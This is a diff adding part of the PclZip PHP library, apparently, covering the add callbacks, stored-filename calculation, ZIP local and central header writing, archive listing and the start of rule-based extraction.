+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Header external extension '".sprintf("0x%X",$p_header['external'])."'");
+    $p_header['offset'] = 0;
+    $p_header['filename'] = $p_filename;
+    $p_header['stored_filename'] = $v_stored_filename;
+    $p_header['extra'] = '';
+    $p_header['comment'] = '';
+    $p_header['status'] = 'ok';
+    $p_header['index'] = -1;
+
+    // ----- Look for pre-add callback
+    if (isset($p_options[PCLZIP_CB_PRE_ADD])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A pre-callback '".$p_options[PCLZIP_CB_PRE_ADD]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_header, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_ADD].'(PCLZIP_CB_PRE_ADD, $v_local_header);');
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_header['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
+        $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "New stored filename is '".$p_header['stored_filename']."'");
+      }
+    }
+
+    // ----- Look for empty stored filename
+    if ($p_header['stored_filename'] == "") {
+      $p_header['status'] = "filtered";
+    }
+    
+    // ----- Check the path length
+    if (strlen($p_header['stored_filename']) > 0xFF) {
+      $p_header['status'] = 'filename_too_long';
+    }
+
+    // ----- Look if no error, or file not skipped
+    if ($p_header['status'] == 'ok') {
+
+      // ----- Look for a file
+      if (is_file($p_filename))
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "'".$p_filename."' is a file");
+        // ----- Open the source file
+        if (($v_file = @fopen($p_filename, "rb")) == 0) {
+          PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return PclZip::errorCode();
+        }
+
+        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File will not be compressed");
+          // ----- Read the file content
+          $v_content_compressed = @fread($v_file, $p_header['size']);
+
+          // ----- Calculate the CRC
+          $p_header['crc'] = @crc32($v_content_compressed);
+
+          // ----- Set header parameters
+          $p_header['compressed_size'] = $p_header['size'];
+          $p_header['compression'] = 0;
+        }
+        else {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File will be compressed");
+          // ----- Read the file content
+          $v_content = @fread($v_file, $p_header['size']);
+
+          // ----- Calculate the CRC
+          $p_header['crc'] = @crc32($v_content);
+
+          // ----- Compress the file
+          $v_content_compressed = @gzdeflate($v_content);
+
+          // ----- Set header parameters
+          $p_header['compressed_size'] = strlen($v_content_compressed);
+          $p_header['compression'] = 8;
+        }
+        
+        // ----- Look for encryption
+        /*
+        if ((isset($p_options[PCLZIP_OPT_CRYPT]))
+		    && ($p_options[PCLZIP_OPT_CRYPT] != "")) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File need to be crypted ....");
+          
+          // Should be a random header
+          $v_header = 'xxxxxxxxxxxx';
+	      $v_content_compressed = PclZipUtilZipEncrypt($v_content_compressed,
+		                                           $p_header['compressed_size'],
+	                                               $v_header,
+												   $p_header['crc'],
+												   "test");
+												   
+          $p_header['compressed_size'] += 12;
+          $p_header['flag'] = 1;
+          
+          // ----- Add the header to the data
+          $v_content_compressed = $v_header.$v_content_compressed;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Size after header : ".strlen($v_content_compressed)."");
+        }
+        */
+
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+          @fclose($v_file);
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+
+        // ----- Write the compressed (or not) content
+        @fwrite($this->zip_fd, 
+		            $v_content_compressed, $p_header['compressed_size']);
+        
+        // ----- Close the file
+        @fclose($v_file);
+      }
+
+      // ----- Look for a directory
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "'".$p_filename."' is a folder");
+        // ----- Look for directory last '/'
+        if (@substr($p_header['stored_filename'], -1) != '/') {
+          $p_header['stored_filename'] .= '/';
+        }
+
+        // ----- Set the file properties
+        $p_header['size'] = 0;
+        //$p_header['external'] = 0x41FF0010;   // Value for a folder : to be checked
+        $p_header['external'] = 0x00000010;   // Value for a folder : to be checked
+
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
+        {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+      }
+    }
+
+    // ----- Look for post-add callback
+    if (isset($p_options[PCLZIP_CB_POST_ADD])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "A post-callback '".$p_options[PCLZIP_CB_POST_ADD]."()') is defined for the extraction");
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_header, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      eval('$v_result = '.$p_options[PCLZIP_CB_POST_ADD].'(PCLZIP_CB_POST_ADD, $v_local_header);');
+      if ($v_result == 0) {
+        // ----- Ignored
+        $v_result = 1;
+      }
+
+      // ----- Update the informations
+      // Nothing can be modified
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCalculateStoredFilename()
+  // Description :
+  //   Based on file descriptor properties and global options, this method
+  //   calculate the filename that will be stored in the archive.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privCalculateStoredFilename(&$p_filedescr, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCalculateStoredFilename", "filename='".$p_filedescr['filename']."'");
+    $v_result=1;
+    
+    // ----- Working variables
+    $p_filename = $p_filedescr['filename'];
+    if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
+      $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
+    }
+    else {
+      $p_add_dir = '';
+    }
+    if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
+      $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
+    }
+    else {
+      $p_remove_dir = '';
+    }
+    if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+      $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+    }
+    else {
+      $p_remove_all_dir = 0;
+    }
+
+    // ----- Look for full name change
+    if (isset($p_filedescr['new_full_name'])) {
+      $v_stored_filename = $p_filedescr['new_full_name'];
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Changing full name of '".$p_filename."' for '".$v_stored_filename."'");
+    }
+    
+    // ----- Look for path and/or short name change
+    else {
+
+      // ----- Look for short name change
+      if (isset($p_filedescr['new_short_name'])) {
+        $v_path_info = pathinfo($p_filename);
+        $v_dir = '';
+        if ($v_path_info['dirname'] != '') {
+          $v_dir = $v_path_info['dirname'].'/';
+        }
+        $v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Changing short name of '".$p_filename."' for '".$v_stored_filename."'");
+      }
+      else {
+        // ----- Calculate the stored filename
+        $v_stored_filename = $p_filename;
+      }
+
+      // ----- Look for all path to remove
+      if ($p_remove_all_dir) {
+        $v_stored_filename = basename($p_filename);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Remove all path selected change '".$p_filename."' for '".$v_stored_filename."'");
+      }
+      // ----- Look for partial path remove
+      else if ($p_remove_dir != "") {
+        if (substr($p_remove_dir, -1) != '/')
+          $p_remove_dir .= "/";
+
+        if (   (substr($p_filename, 0, 2) == "./")
+            || (substr($p_remove_dir, 0, 2) == "./")) {
+            
+          if (   (substr($p_filename, 0, 2) == "./")
+              && (substr($p_remove_dir, 0, 2) != "./")) {
+            $p_remove_dir = "./".$p_remove_dir;
+          }
+          if (   (substr($p_filename, 0, 2) != "./")
+              && (substr($p_remove_dir, 0, 2) == "./")) {
+            $p_remove_dir = substr($p_remove_dir, 2);
+          }
+        }
+
+        $v_compare = PclZipUtilPathInclusion($p_remove_dir,
+                                             $v_stored_filename);
+        if ($v_compare > 0) {
+          if ($v_compare == 2) {
+            $v_stored_filename = "";
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Path to remove is the current folder");
+          }
+          else {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Remove path '$p_remove_dir' in file '$v_stored_filename'");
+            $v_stored_filename = substr($v_stored_filename,
+                                        strlen($p_remove_dir));
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Result is '$v_stored_filename'");
+          }
+        }
+      }
+      // ----- Look for path to add
+      if ($p_add_dir != "") {
+        if (substr($p_add_dir, -1) == "/")
+          $v_stored_filename = $p_add_dir.$v_stored_filename;
+        else
+          $v_stored_filename = $p_add_dir."/".$v_stored_filename;
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Add path '$p_add_dir' in file '$p_filename' = '$v_stored_filename'");
+      }
+    }
+
+    // ----- Filename (reduce the path of stored name)
+    $v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
+    $p_filedescr['stored_filename'] = $v_stored_filename;
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Stored filename will be '".$p_filedescr['stored_filename']."', strlen ".strlen($p_filedescr['stored_filename']));
+    
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteFileHeader(&$p_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privWriteFileHeader", 'file="'.$p_header['filename'].'", stored as "'.$p_header['stored_filename'].'"');
+    $v_result=1;
+
+    // ----- Store the offset position of the file
+    $p_header['offset'] = ftell($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, 'File offset of the header :'.$p_header['offset']);
+
+    // ----- Transform UNIX mtime to DOS format mdate/mtime
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Date : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    $v_date = getdate($p_header['mtime']);
+    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
+    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
+	                      $p_header['version_extracted'], $p_header['flag'],
+                          $p_header['compression'], $v_mtime, $v_mdate,
+                          $p_header['crc'], $p_header['compressed_size'],
+						  $p_header['size'],
+                          strlen($p_header['stored_filename']),
+						  $p_header['extra_len']);
+
+    // ----- Write the first 148 bytes of the header in the archive
+    fputs($this->zip_fd, $v_binary_data, 30);
+
+    // ----- Write the variable fields
+    if (strlen($p_header['stored_filename']) != 0)
+    {
+      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
+    }
+    if ($p_header['extra_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteCentralFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteCentralFileHeader(&$p_header)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privWriteCentralFileHeader", 'file="'.$p_header['filename'].'", stored as "'.$p_header['stored_filename'].'"');
+    $v_result=1;
+
+    // TBC
+    //for(reset($p_header); $key = key($p_header); next($p_header)) {
+    //  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "header[$key] = ".$p_header[$key]);
+    //}
+
+    // ----- Transform UNIX mtime to DOS format mdate/mtime
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Date : \''.date("d/m/y H:i:s", $p_header['mtime']).'\'');
+    $v_date = getdate($p_header['mtime']);
+    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
+    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
+	                      $p_header['version'], $p_header['version_extracted'],
+                          $p_header['flag'], $p_header['compression'],
+						  $v_mtime, $v_mdate, $p_header['crc'],
+                          $p_header['compressed_size'], $p_header['size'],
+                          strlen($p_header['stored_filename']),
+						  $p_header['extra_len'], $p_header['comment_len'],
+                          $p_header['disk'], $p_header['internal'],
+						  $p_header['external'], $p_header['offset']);
+
+    // ----- Write the 42 bytes of the header in the zip file
+    fputs($this->zip_fd, $v_binary_data, 46);
+
+    // ----- Write the variable fields
+    if (strlen($p_header['stored_filename']) != 0)
+    {
+      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
+    }
+    if ($p_header['extra_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
+    }
+    if ($p_header['comment_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteCentralHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privWriteCentralHeader", 'nb_entries='.$p_nb_entries.', size='.$p_size.', offset='.$p_offset.', comment="'.$p_comment.'"');
+    $v_result=1;
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
+	                      $p_nb_entries, $p_size,
+						  $p_offset, strlen($p_comment));
+
+    // ----- Write the 22 bytes of the header in the zip file
+    fputs($this->zip_fd, $v_binary_data, 22);
+
+    // ----- Write the variable fields
+    if (strlen($p_comment) != 0)
+    {
+      fputs($this->zip_fd, $p_comment, strlen($p_comment));
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privList()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privList(&$p_list)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privList", "list");
+    $v_result=1;
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
+    {
+      // ----- Magic quotes trick
+      $this->privSwapBackMagicQuotes();
+      
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privSwapBackMagicQuotes();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of Central Dir
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Offset : ".$v_central_dir['offset']."'");
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Position in file : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Position in file : ".ftell($this->zip_fd)."'");
+    if (@fseek($this->zip_fd, $v_central_dir['offset']))
+    {
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Position in file : ".ftell($this->zip_fd)."'");
+
+    // ----- Read each entry
+    for ($i=0; $i<$v_central_dir['entries']; $i++)
+    {
+      // ----- Read the file header
+      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
+      {
+        $this->privSwapBackMagicQuotes();
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+        return $v_result;
+      }
+      $v_header['index'] = $i;
+
+      // ----- Get the only interesting attributes
+      $this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
+      unset($v_header);
+    }
+
+    // ----- Close the zip file
+    $this->privCloseFd();
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privConvertHeader2FileInfo()
+  // Description :
+  //   This function takes the file informations from the central directory
+  //   entries and extract the interesting parameters that will be given back.
+  //   The resulting file infos are set in the array $p_info
+  //     $p_info['filename'] : Filename with full path. Given by user (add),
+  //                           extracted in the filesystem (extract).
+  //     $p_info['stored_filename'] : Stored filename in the archive.
+  //     $p_info['size'] = Size of the file.
+  //     $p_info['compressed_size'] = Compressed size of the file.
+  //     $p_info['mtime'] = Last modification date of the file.
+  //     $p_info['comment'] = Comment associated with the file.
+  //     $p_info['folder'] = true/false : indicates if the entry is a folder or not.
+  //     $p_info['status'] = status of the action on the file.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privConvertHeader2FileInfo($p_header, &$p_info)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privConvertHeader2FileInfo", "Filename='".$p_header['filename']."'");
+    $v_result=1;
+
+    // ----- Get the interesting attributes
+    $p_info['filename'] = $p_header['filename'];
+    $p_info['stored_filename'] = $p_header['stored_filename'];
+    $p_info['size'] = $p_header['size'];
+    $p_info['compressed_size'] = $p_header['compressed_size'];
+    $p_info['mtime'] = $p_header['mtime'];
+    $p_info['comment'] = $p_header['comment'];
+    $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
+    $p_info['index'] = $p_header['index'];
+    $p_info['status'] = $p_header['status'];
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractByRule()
+  // Description :
+  //   Extract a file or directory depending of rules (by index, by name, ...)
+  // Parameters :
+  //   $p_file_list : An array where will be placed the properties of each
+  //                  extracted file
+  //   $p_path : Path to add while writing the extracted files
+  //   $p_remove_path : Path to remove (from the file memorized path) while writing the
+  //                    extracted files. If the path does not match the file path,
+  //                    the file is extracted with its memorized path.
+  //                    $p_remove_path does not apply to 'list' mode.
+  //                    $p_path and $p_remove_path are commulative.
+  // Return Values :
+  //   1 on success,0 or less on error (see error code list)
+  // --------------------------------------------------------------------------------
+  function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privExtractByRule", "path='$p_path', remove_path='$p_remove_path', remove_all_path='".($p_remove_all_path?'true':'false')."'");
+    $v_result=1;
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Check the path
+    if (   ($p_path == "")
+	    || (   (substr($p_path, 0, 1) != "/")
+		    && (substr($p_path, 0, 3) != "../")
+			&& (substr($p_path,1,2)!=":/")))
+      $p_path = "./".$p_path;
+
+    // ----- Reduce the path last (and duplicated) '/'
+    if (($p_path != "./") && ($p_path != "/"))
+    {
+      // ----- Look for the path end '/'
+      while (substr($p_path, -1) == "/")
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Destination path [$p_path] ends by '/'");
+        $p_path = substr($p_path, 0, strlen($p_path)-1);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Modified to [$p_path]");
+      }
+    }
+
+    // ----- Look for path to remove format (should end by /)
+    if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
+    {
+      $p_remove_path .= '/';
+    }
+    $p_remove_path_size = strlen($p_remove_path);
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result = $this->privOpenFd('rb')) != 1)
+    {
+      $this->privSwapBackMagicQuotes();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      // ----- Close the zip file
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Start at beginning of Central Dir
+    $v_pos_entry = $v_central_dir['offset'];
+
+    // ----- Read each entry
+    $j_start = 0;
+    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Read next file header entry : '$i'");
+
+      // ----- Read next Central dir entry
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Position before rewind : ".ftell($this->zip_fd)."'");
+      @rewind($this->zip_fd);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Position after rewind : ".ftell($this->zip_fd)."'");
+      if (@fseek($this->zip_fd, $v_pos_entry))
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+        $this->privSwapBackMagicQuotes();
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Position after fseek : ".ftell($this->zip_fd)."'");
+
+      // ----- Read the file header
+      $v_header = array();
+      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+        $this->privSwapBackMagicQuotes();
+
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+        return $v_result;
+      }
+
+      // ----- Store the index
+      $v_header['index'] = $i;
+
+      // ----- Store the file position
+      $v_pos_entry = ftell($this->zip_fd);
+
+      // ----- Look for the specific extract rules
+      $v_extract = false;
+
+      // ----- Look for extract by name rule
+      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
+          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByName'");
+
+          // ----- Look if the filename is in the list
+          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Compare with file '".$p_options[PCLZIP_OPT_BY_NAME][$j]."'");
+
+              // ----- Look for a directory
+              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The searched item is a directory");
+
+                  // ----- Look if the directory is in the filename path
+                  if (   (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
+                      && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The directory is in the file path");
+                      $v_extract = true;
+                  }
+              }
+              // ----- Look for a filename
+              elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The file is the right one.");
+                  $v_extract = true;
+              }
+          }
+      }
+
+      // ----- Look for extract by ereg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
+               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract by ereg '".$p_options[PCLZIP_OPT_BY_EREG]."'");
+
+          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename match the regular expression");
+              $v_extract = true;
+          }
+      }
+
+      // ----- Look for extract by preg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
+               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByEreg'");
+
+          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename match the regular expression");
+              $v_extract = true;
+          }
+      }
+
+      // ----- Look for extract by index rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
+               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByIndex'");
+          
+          // ----- Look if the index is in the list
+          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Look if index '$i' is in [".$p_options[PCLZIP_OPT_BY_INDEX][$j]['start'].",".$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']."]");
+
+              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Found as part of an index range");
+                  $v_extract = true;
+              }
+              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Do not look this index range for next loop");
+                  $j_start = $j+1;
+              }
+
+              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Index range is greater than index, stop loop");
+                  break;
+              }
+          }
+      }
+
+      // ----- Look for no rule, which means extract all the archive
+      else {
